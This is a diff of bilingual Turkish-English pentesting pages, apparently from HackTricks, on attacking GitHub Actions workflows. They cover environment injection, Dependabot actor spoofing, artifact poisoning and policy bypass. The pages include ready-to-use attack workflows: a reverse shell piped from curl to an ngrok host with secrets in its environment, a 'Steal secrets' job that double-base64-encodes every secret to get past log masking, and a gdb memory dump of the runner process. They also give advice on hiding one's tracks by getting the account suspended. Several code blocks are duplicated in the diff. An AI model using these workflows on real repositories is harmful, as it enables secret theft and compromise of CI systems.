Belgelerden: Bir workflow job'unda bir **environment variable'ı sonraki adımlara erişilebilir hale getirebilirsiniz**; bunun için environment variable'ı tanımlayıp güncelleyip bunu **`GITHUB_ENV`** environment dosyasına yazmanız gerekir.
|
||||
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
|
||||
|
||||
Eğer bir saldırgan bu **env** değişkeninin içine herhangi bir değer **inject edebiliyorsa**, LD_PRELOAD veya NODE_OPTIONS gibi sonraki adımlarda kod çalıştırabilecek env değişkenleri inject edebilir.
|
||||
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
|
||||
|
||||
Örneğin ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), içeriğini **`GITHUB_ENV`** env değişkenine koymak için yüklenen bir artifact'e güvenen bir workflow'u düşünün. Bir saldırgan bunu ele geçirmek için aşağıdakine benzer bir şey yükleyebilir:
|
||||
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Dependabot and other trusted bots
|
||||
|
||||
Bu [**blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest)'ta belirtildiği gibi, bazı organizasyonların `dependabot[bot]`'tan gelen herhangi bir PRR'ı merge eden bir Github Action'ı var, örneğin:
|
||||
As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in:
|
||||
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
auto-merge:
|
||||
runs-on: ubuntu-latest
|
||||
if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
auto-merge:
|
||||
runs-on: ubuntu-latest
|
||||
if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
Bu bir sorun çünkü `github.actor` alanı workflow'u tetikleyen son olaya sebep olan kullanıcıyı içerir. Ve `dependabot[bot]` kullanıcısının bir PR'ı değiştirmesini sağlayacak birkaç yol vardır. Örneğin:
|
||||
|
||||
- Hedef repository'yi fork'la
|
||||
- Kendi kopyana kötü amaçlı payload ekle
|
||||
- Fork'unda Dependabot'u etkinleştirip eski bir dependency ekle. Dependabot, dependency'yi düzelten ve kötü amaçlı kod içeren bir branch oluşturacak.
|
||||
- Bu branch'ten hedef repository'ye bir Pull Request aç (PR kullanıcı tarafından oluşturulacağı için henüz bir şey olmayacak)
|
||||
- Sonra, saldırgan fork'unda Dependabot'un açtığı ilk PR'a geri döner ve `@dependabot recreate` komutunu çalıştırır
|
||||
- Bunun üzerine Dependabot, o branch üzerinde bazı işlemler yapar ve hedef repo üzerindeki PR'ı değiştirir; bu da `dependabot[bot]`'u workflow'u tetikleyen son olayın aktörü yapar (dolayısıyla workflow çalışır).
|
||||
Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example:
|
||||
|
||||
- Fork the victim repository
|
||||
- Add the malicious payload to your copy
|
||||
- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
|
||||
- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
|
||||
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
|
||||
- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
|
||||
|
||||
Moving on, what if instead of merging the Github Action would have a command injection like in:
|
||||
|
||||
Devam edersek, peki ya merge etmek yerine Github Action'ın aşağıdaki gibi bir command injection'a sahip olduğunu düşünürsek:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
just-printing-stuff:
|
||||
runs-on: ubuntu-latest
|
||||
if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
just-printing-stuff:
|
||||
runs-on: ubuntu-latest
|
||||
if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
Well, orijinal blog yazısı bu davranışı kötüye kullanmak için iki seçenek öneriyor; ikinci seçenek şudur:
|
||||
|
||||
- Fork the victim repository ve bazı outdated dependency içeren Dependabot'u enable et.
|
||||
Well, the original blogpost proposes two options to abuse this behavior being the second one:
|
||||
|
||||
- Fork the victim repository and enable Dependabot with some outdated dependency.
|
||||
- Create a new branch with the malicious shell injeciton code.
|
||||
- Change the default branch of the repo to that one
|
||||
- Create a PR from this branch to the victim repository.
|
||||
- Run `@dependabot merge` in the PR Dependabot opened in his fork.
|
||||
- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
|
||||
|
||||
### Güvenlik açığı olan üçüncü taraf Github Actions
|
||||
### Vulnerable Third Party Github Actions
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
|
||||
|
||||
Sorun şu ki eğer **`path`** parametresi ayarlı değilse, artifact mevcut dizine çıkarılır ve workflow içinde daha sonra kullanılabilecek veya çalıştırılabilecek dosyaların üzerine yazabilir. Bu nedenle, Artifact zayıfsa, bir attacker bunu Artifact'a güvenen diğer workflows'ları ele geçirmek için kötüye kullanabilir.
|
||||
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
|
||||
|
||||
Example of vulnerable workflow:
|
||||
|
||||
Güvenlik açığı olan workflow örneği:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
|
||||
jobs:
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
Bu workflow ile saldırılabilir:
|
||||
|
||||
This could be attacked with this workflow:
|
||||
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
|
||||
jobs:
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Other External Access
|
||||
|
||||
### Deleted Namespace Repo Hijacking
|
||||
|
||||
Bir hesap adını değiştirirse, bir süre sonra başka bir kullanıcı aynı ada sahip bir hesap kaydedebilir. Eğer bir repository ad değişikliğinden önce **less than 100 stars previously to the change of nam**a sahipse, Github aynı ada sahip yeni kaydolan kullanıcının silinenle aynı **repository with the same name** oluşturmasına izin verecektir.
|
||||
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
|
||||
|
||||
> [!CAUTION]
|
||||
> Bu yüzden eğer bir action var olmayan bir hesabın bir repo'sunu kullanıyorsa, bir attacker o hesabı oluşturup action'ı compromise edebilir.
|
||||
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
|
||||
|
||||
Eğer diğer repositories bu kullanıcının repo'larından **dependencies** kullanıyorsa, bir attacker bunları hijack edebilecektir. Daha ayrıntılı açıklama için: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> Bu bölümde, ilkine bir erişimimiz olduğunu varsayarsak, **pivot from one repo to another** sağlayabilecek tekniklerden bahsedeceğiz (önceki bölümü kontrol edin).
|
||||
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
Bir cache, **wokflow runs in the same branch** arasında tutulur. Bu, eğer bir attacker bir **package**i **compromise** eder ve bu package cache'e kaydedilip daha sonra daha **privileged** bir workflow tarafından **downloaded** edilip çalıştırılırsa, attacker o workflow'u da **compromise** edebilir.
|
||||
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
@@ -421,7 +443,7 @@ gh-actions-cache-poisoning.md
|
||||
|
||||
### Artifact Poisoning
|
||||
|
||||
Workflows **artifacts from other workflows and even repos** kullanabilir; eğer bir attacker sonrasında başka bir workflow tarafından kullanılan bir artifact'ı **uploads an artifact** yapan Github Action'ı **compromise** etmeyi başarırsa, diğer workflow'ları da **compromise** edebilir:
|
||||
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -433,32 +455,34 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
### Github Action Policies Bypass
|
||||
|
||||
As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), repository veya organization belirli actions kullanımını kısıtlayan bir policy'ye sahip olsa bile, bir attacker workflow içinde bir action'ı sadece download (`git clone`) edip sonra onu local action olarak referans gösterebilir. Policy'ler local paths'i etkilemediği için, **the action will be executed without any restriction.**
|
||||
As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.**
|
||||
|
||||
Example:
|
||||
|
||||
```yaml
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: |
|
||||
mkdir -p ./tmp
|
||||
git clone https://github.com/actions/checkout.git ./tmp/checkout
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: |
|
||||
mkdir -p ./tmp
|
||||
git clone https://github.com/actions/checkout.git ./tmp/checkout
|
||||
|
||||
- uses: ./tmp/checkout
|
||||
with:
|
||||
repository: woodruffw/gha-hazmat
|
||||
path: gha-hazmat
|
||||
- uses: ./tmp/checkout
|
||||
with:
|
||||
repository: woodruffw/gha-hazmat
|
||||
path: gha-hazmat
|
||||
|
||||
- run: ls && pwd
|
||||
- run: ls && pwd
|
||||
|
||||
- run: ls tmp/checkout
|
||||
- run: ls tmp/checkout
|
||||
```
|
||||
### OIDC ile AWS, Azure ve GCP'ye Erişim
|
||||
|
||||
Aşağıdaki sayfaları inceleyin:
|
||||
### Accessing AWS, Azure and GCP via OIDC
|
||||
|
||||
Check the following pages:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -472,183 +496,196 @@ Aşağıdaki sayfaları inceleyin:
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Secrets'e Erişim <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
Bir script'e içerik enjekte ediyorsanız, secrets'e nasıl erişebileceğinizi bilmek faydalıdır:
|
||||
If you are injecting content into a script it's interesting to know how you can access secrets:
|
||||
|
||||
- Eğer secret veya token bir **ortam değişkeni (environment variable)** olarak ayarlanmışsa, **`printenv`** kullanarak ortam üzerinden doğrudan erişilebilir.
|
||||
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action çıktısında secrets'i listele</summary>
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>secrets ile reverse shell elde et</summary>
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
- Eğer secret **doğrudan bir ifade içinde** kullanılıyorsa, üretilen shell script **diske** yazılır ve erişilebilir olur.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- JavaScript actions için secrets, ortam değişkenleri aracılığıyla gönderilir
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- Bir **custom action** için, risk, bir programın **argument**'ten elde ettiği secret'i nasıl kullandığına bağlı olarak değişebilir:
|
||||
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- For a JavaScript actions the secrets and sent through environment variables
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
- secrets context aracılığıyla tüm secrets'ları listeleyin (collaborator level). Write erişimine sahip bir katkıda bulunan, herhangi bir branch'teki workflow'u değiştirip tüm repository/org/environment secrets'larını dökebilir. GitHub’ın log masking'inden kaçmak için çift base64 kullanın ve yerelde decode edin:
|
||||
- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:
|
||||
|
||||
```yaml
|
||||
name: Steal secrets
|
||||
on:
|
||||
push:
|
||||
branches: [ attacker-branch ]
|
||||
jobs:
|
||||
dump:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Double-base64 the secrets context
|
||||
run: |
|
||||
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
|
||||
```
|
||||
```yaml
|
||||
name: Steal secrets
|
||||
on:
|
||||
push:
|
||||
branches: [ attacker-branch ]
|
||||
jobs:
|
||||
dump:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Double-base64 the secrets context
|
||||
run: |
|
||||
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
|
||||
```
|
||||
|
||||
Yerelde decode edin:
|
||||
Decode locally:
|
||||
|
||||
```bash
|
||||
echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
```
|
||||
```bash
|
||||
echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
```
|
||||
|
||||
İpucu: test sırasında fark edilmemek için, yazdırmadan önce şifreleyin (openssl GitHub-hosted runners üzerinde önceden yüklüdür).
|
||||
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
|
||||
|
||||
### Self-hosted runners'ı kötüye kullanma
|
||||
### Abusing Self-hosted runners
|
||||
|
||||
Github Actions'ın non-github altyapısında çalıştırılıp çalıştırılmadığını tespit etmenin yolu, Github Action konfigürasyon yaml'ında **`runs-on: self-hosted`**'i aramaktır.
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
|
||||
|
||||
**Self-hosted** runners ek **hassas bilgilere** ve diğer **network sistemlerine** (ağdaki zafiyetli endpoint'ler mi? metadata service?) erişim sağlayabilir veya izole edilip silinse bile, **aynı anda birden fazla action çalıştırılabilir** ve kötü niyetli olan, diğerinin **secrets**'ını **çalabilir**.
|
||||
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
|
||||
|
||||
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
|
||||
Self-hosted runners'da ayrıca workflow'ların herhangi bir adımındaki tüm secrets'ları içerecek olan **secrets from the \_Runner.Listener**\_\*\* process\*\*'un belleğini dump'layarak elde etmek de mümkündür:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
|
||||
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker Image Deposu
|
||||
### Github Docker Images Registry
|
||||
|
||||
Github Actions kullanarak **Github içinde bir Docker image'ını oluşturup depolamak** mümkün.\
|
||||
Aşağıdaki açılır bölümde bir örnek bulunmaktadır:
|
||||
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
|
||||
An example can be find in the following expandable:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action: Docker Image Oluşturma ve Push Etme</summary>
|
||||
<summary>Github Action Build & Push Docker Image</summary>
|
||||
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v1
|
||||
uses: docker/setup-buildx-action@v1
|
||||
|
||||
- name: Login to GitHub Container Registry
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
|
||||
- name: Add Github Token to Dockerfile to be able to download code
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
|
||||
[...]
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Önceki kodda gördüğünüz gibi, Github registry **`ghcr.io`** üzerinde barındırılıyor.
|
||||
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
|
||||
|
||||
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
|
||||
|
||||
Repo üzerinde read izinlerine sahip bir kullanıcı, kişisel erişim tokenı kullanarak Docker Image'ı indirebilecek:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
Sonra, kullanıcı **leaked secrets in the Docker image layers:** için arama yapabilir:
|
||||
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### Github Actions logs içindeki hassas bilgiler
|
||||
### Sensitive info in Github Actions logs
|
||||
|
||||
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Covering your Tracks
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) İlk olarak, açılan herhangi bir PR Github'da ve hedef GitHub hesabında halka açık olarak görülebilir. GitHub'da varsayılan olarak, **internet üzerindeki bir PR'yi silemeyiz**, fakat bir fark var. Github tarafından **askıya alınmış** hesapların tüm **PR'leri otomatik olarak silinir** ve internetten kaldırılır. Bu yüzden etkinliğinizi gizlemek için ya **GitHub hesabınızın askıya alınmasını ya da hesabınızın işaretlenmesini** sağlamalısınız. Bu, GitHub'daki **tüm aktivitelerinizi** internetten gizleyecektir (temelde exploit PR'lerinizi kaldırır)
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
|
||||
|
||||
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
|
||||
|
||||
> [!WARNING]
|
||||
> Bir organization'ın hedeflendiğini fark etmesinin tek yolu, GitHub UI'den bakıldığında PR kaldırılacağı için SIEM üzerinden GitHub logs'larını kontrol etmektir.
|
||||
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# Gh Actions - Artifact Poisoning
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# GH Actions - Cache Poisoning
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -2,89 +2,97 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Riskin anlaşılması
|
||||
## Understanding the risk
|
||||
|
||||
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
|
||||
|
||||
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
Önemli noktalar:
|
||||
- Render işlemi yürütmeden önce gerçekleşir. Tüm ifadeler çözümlendikten sonra run script oluşturulur ve sonra shell tarafından çalıştırılır.
|
||||
- Birçok contexts kullanıcı-kontrollü alanlar içerir; bu, tetikleyici olaya bağlıdır (issues, PRs, comments, discussions, forks, stars, vb.). Güvenilmeyen input referansına bakın: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- run: içindeki shell quoting güvenilir bir savunma değildir, çünkü enjeksiyon şablon render aşamasında gerçekleşir. Saldırganlar tırnaklardan çıkabilir veya özel olarak hazırlanmış girdilerle operatörler enjekte edebilir.
|
||||
Key points:
|
||||
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
|
||||
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
|
||||
|
||||
## Zayıf örüntü → RCE on runner
|
||||
## Vulnerable pattern → RCE on runner
|
||||
|
||||
Vulnerable workflow (triggered when someone opens a new issue):
|
||||
|
||||
Zayıf workflow (birisi yeni bir issue açtığında tetiklenir):
|
||||
```yaml
|
||||
name: New Issue Created
|
||||
on:
|
||||
issues:
|
||||
types: [opened]
|
||||
issues:
|
||||
types: [opened]
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
